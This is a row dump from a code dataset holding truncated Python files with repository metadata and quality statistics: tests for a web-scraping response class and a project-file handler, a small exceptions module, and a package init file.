44f19cd3feeba4474a00eec187d8d980d898ed1a | 3,064 | py | Python | tests/any_io/test_response.py | lewoudar/scalpel | 455a3ff766c91d02f33957ea17f1cfbec141ab60 | [
"Apache-2.0"
] | 15 | 2020-11-02T21:11:03.000Z | 2022-03-10T14:17:46.000Z | tests/any_io/test_response.py | lewoudar/scalpel | 455a3ff766c91d02f33957ea17f1cfbec141ab60 | [
"Apache-2.0"
] | 4 | 2020-11-01T17:54:15.000Z | 2022-03-04T21:42:41.000Z | tests/any_io/test_response.py | lewoudar/scalpel | 455a3ff766c91d02f33957ea17f1cfbec141ab60 | [
"Apache-2.0"
] | 2 | 2021-05-01T06:59:12.000Z | 2021-11-25T07:01:02.000Z | import httpx
import pytest
from scalpel.any_io.response import StaticResponse, SeleniumResponse
from scalpel.any_io.queue import Queue
pytestmark = pytest.mark.anyio
class TestStaticResponse:
"""Tests StaticResponse.follow method"""
@pytest.mark.parametrize(('reachable_urls', 'followed_urls'), [
({... | 34.426966 | 119 | 0.628264 | 341 | 3,064 | 5.43695 | 0.205279 | 0.084142 | 0.06904 | 0.080906 | 0.79288 | 0.769148 | 0.769148 | 0.769148 | 0.769148 | 0.769148 | 0 | 0.005265 | 0.256201 | 3,064 | 88 | 120 | 34.818182 | 0.808249 | 0.023172 | 0 | 0.694444 | 0 | 0 | 0.12609 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0 | false | 0 | 0.055556 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
78003a7ccd8d3df463f434fbc506efc39ee8880e | 123 | py | Python | cmsplugin_text_ng/exceptions.py | 360youlun/cmsplugin-text-ng | 4697609ff602639b4d38422ef95c61b6bdc42f0a | [
"BSD-3-Clause"
] | null | null | null | cmsplugin_text_ng/exceptions.py | 360youlun/cmsplugin-text-ng | 4697609ff602639b4d38422ef95c61b6bdc42f0a | [
"BSD-3-Clause"
] | null | null | null | cmsplugin_text_ng/exceptions.py | 360youlun/cmsplugin-text-ng | 4697609ff602639b4d38422ef95c61b6bdc42f0a | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
class VariableTypeAlreadyRegistered(Exception):
pass
class InvalidType(Exception):
pass
| 13.666667 | 47 | 0.699187 | 11 | 123 | 7.818182 | 0.727273 | 0.302326 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009901 | 0.178862 | 123 | 8 | 48 | 15.375 | 0.841584 | 0.170732 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
789f8482cc08d68a4e3f837ba8608ad595d29006 | 10,638 | py | Python | test/projectfile/test_file_handler.py | tiborsimon/p | 44d1caf2bab001a2b0bf33c40d7669ae1206f534 | [
"MIT"
] | null | null | null | test/projectfile/test_file_handler.py | tiborsimon/p | 44d1caf2bab001a2b0bf33c40d7669ae1206f534 | [
"MIT"
] | null | null | null | test/projectfile/test_file_handler.py | tiborsimon/p | 44d1caf2bab001a2b0bf33c40d7669ae1206f534 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from unittest import TestCase
try:
import mock
except ImportError:
from unittest import mock
try:
import __builtin__
builtin_module = '__builtin__'
except ImportError:
builtin_module = 'builtins'
from projects.projectfile i... | 34.316129 | 111 | 0.542301 | 1,170 | 10,638 | 4.603419 | 0.095727 | 0.073524 | 0.048273 | 0.067026 | 0.814148 | 0.794838 | 0.735611 | 0.724471 | 0.697735 | 0.686038 | 0 | 0.007835 | 0.328163 | 10,638 | 309 | 112 | 34.427184 | 0.745767 | 0.003948 | 0 | 0.544061 | 0 | 0 | 0.102976 | 0 | 0 | 0 | 0 | 0 | 0.08046 | 1 | 0.034483 | false | 0 | 0.042146 | 0 | 0.091954 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
78b21a386fe2483df25abbf04fad134e84f14245 | 56 | py | Python | api/cli/__init__.py | ZeroIntensity/RoboCollab | 0ad60a0847d81fe6c5280f03e8bed57a087a2a1e | [
"MIT"
] | 1 | 2022-03-21T13:10:14.000Z | 2022-03-21T13:10:14.000Z | api/cli/__init__.py | ZeroIntensity/RoboCollab | 0ad60a0847d81fe6c5280f03e8bed57a087a2a1e | [
"MIT"
] | null | null | null | api/cli/__init__.py | ZeroIntensity/RoboCollab | 0ad60a0847d81fe6c5280f03e8bed57a087a2a1e | [
"MIT"
] | null | null | null | from .start import start
from .makeauth import makeauth | 28 | 30 | 0.821429 | 8 | 56 | 5.75 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 56 | 2 | 30 | 28 | 0.958333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.